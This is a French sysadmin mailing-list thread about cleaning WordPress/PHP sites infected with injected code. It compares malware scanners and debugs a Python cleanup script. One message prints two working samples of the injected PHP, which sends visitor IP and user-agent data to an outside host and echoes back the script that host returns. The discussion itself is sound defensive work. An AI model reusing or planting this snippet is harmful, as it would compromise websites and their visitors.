Yes c’était fait, En soit le hacker ne pouvait pas vraiment utiliser les scripts.
Mais il faut nettoyer. Après une longe matinée de recherche j'ai trouvé ce script : https://www.ask-sheldon.com/find-and-replace-malware-code-blocks-in-php-files-via-shell/ Mais j'ai un problème d'encodage UTF8 et j'avoue que je ne m'y connais pas grand chose en python Voici l'erreur que cela fait quand il trouvé un fichier infecté : HIT Traceback (most recent call last): File "./remove.py", line 38, in <module> replaceStringInFile(os.path.join(directory, filename)) File "./remove.py", line 19, in replaceStringInFile fContent = unicode(inputFile.read(), "utf-8") UnicodeDecodeError: 'utf8' codec can't decode byte 0xe9 in position 255: invalid continuation byte Merci Pierre En soit le pi Le 03/06/2015 12:02, Guillaume Tournat a écrit : > Fait déjà commencer par désactiver certaines fonctionnalités dangereuses > dans php (disabled_functions dans php.ini) > > Ensuite bloquer les requêtes http sortantes du serveur avec iptables. > > > >> Le 3 juin 2015 à 11:23, Pierre <pie...@infoserver4u.fr> a écrit : >> >> Hello, >> >> Je me permet de relancer la discutions car j'ai presque le même problème >> avec un client. >> >> Sauf que le code change sur presque tout les fichiers. >> >> Voici un exemple de code : >> >> <?php >> #568ba2# >> error_reporting(0); @ini_set('display_errors',0); $wp_f67188 = >> @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', >> $wp_f67188) && !preg_match ('/bot/i', $wp_f67188))){^M >> $wp_f0967188="http://"."theme"."header".".com/"."header"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_f67188);^M >> if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = >> curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt >> ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M >> $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif >> (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) >> {$wp_67188f = @file_get_contents($wp_f0967188);}^M >> elseif (function_exists('fopen') && >> function_exists('stream_get_contents')) >> {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M >> if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; } >> #458ba2# >> ?> >> Ou encore >> >> <?php >> #5a9312# >> >> >> if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = >> curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt >> ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M >> $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif >> (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) >> {$wp_67188f = @file_get_contents($wp_f0967188);}^M >> elseif (function_exists('fopen') && >> function_exists('stream_get_contents')) >> {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M >> if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; } >> #/5a9312# >> ?> >> >> >> J'ai essayé beaucoup de sed et xargs, mais le code est trop complexe >> pour arrive a faire un truc propre. >> >> find . -type f -name "*.php" -print | xargs sed -i.hacked 's/^<?php n#*# >> *?>//g' >> >> Le seul point commun est un début <?php saute de ligne puis un # et en >> fin un autre # saute de ligne ?> >> >> J’essaie d'utiliser https://github.com/planet-work/php-malware-scanner >> >> Mais cela ne semble mal fonctionner avec mon problème. >> >> Auriez vous une idée ? >> >> Merci >> >> Pierre >> >> >> Le 20/05/2015 16:09, Julien Escario a écrit : >>> Le 20/05/2015 07:14, Jonathan Leroy a écrit : >>>> J'ai eu une demande de "nettoyage" de sites WordPress ayant été hackés >>>> hier. >>>> >>>> J'en ai donc profité pour tester tous vos outils sur un des sites. >>> >>>> Le grand gagnant est php-malware-scanner de Frédéric, qui détecte deux >>>> fichiers de plus que Sucuri (mais en laisse passer un autre). >>>> J'ai mis un tableau comparatif en PJ pour ceux que ça intéresse :) >>> >>> Nice job ! >>> >>> Merci du retour. >>> Julien >>> >>> >>> >>> _______________________________________________ >>> Liste de diffusion du FRsAG >>> http://www.frsag.org/ >> >> _______________________________________________ >> Liste de diffusion du FRsAG >> http://www.frsag.org/ _______________________________________________ Liste de diffusion du FRsAG http://www.frsag.org/